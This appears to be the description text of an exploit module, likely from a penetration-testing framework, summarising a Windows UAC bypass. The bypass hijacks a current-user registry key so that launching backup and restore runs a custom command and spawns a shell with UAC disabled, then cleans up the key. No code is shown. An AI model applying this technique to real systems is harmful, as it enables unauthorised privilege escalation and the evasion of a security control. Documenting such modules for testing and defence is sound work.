        This module will bypass Windows UAC by hijacking a special key in the Registry under
        the current user hive, and inserting a custom command that will get invoked when
        Window backup and restore is launched. It will spawn a second shell that has the UAC
        flag turned off.

        This module modifies a registry key, but cleans up the key once the payload has
        been invoked.
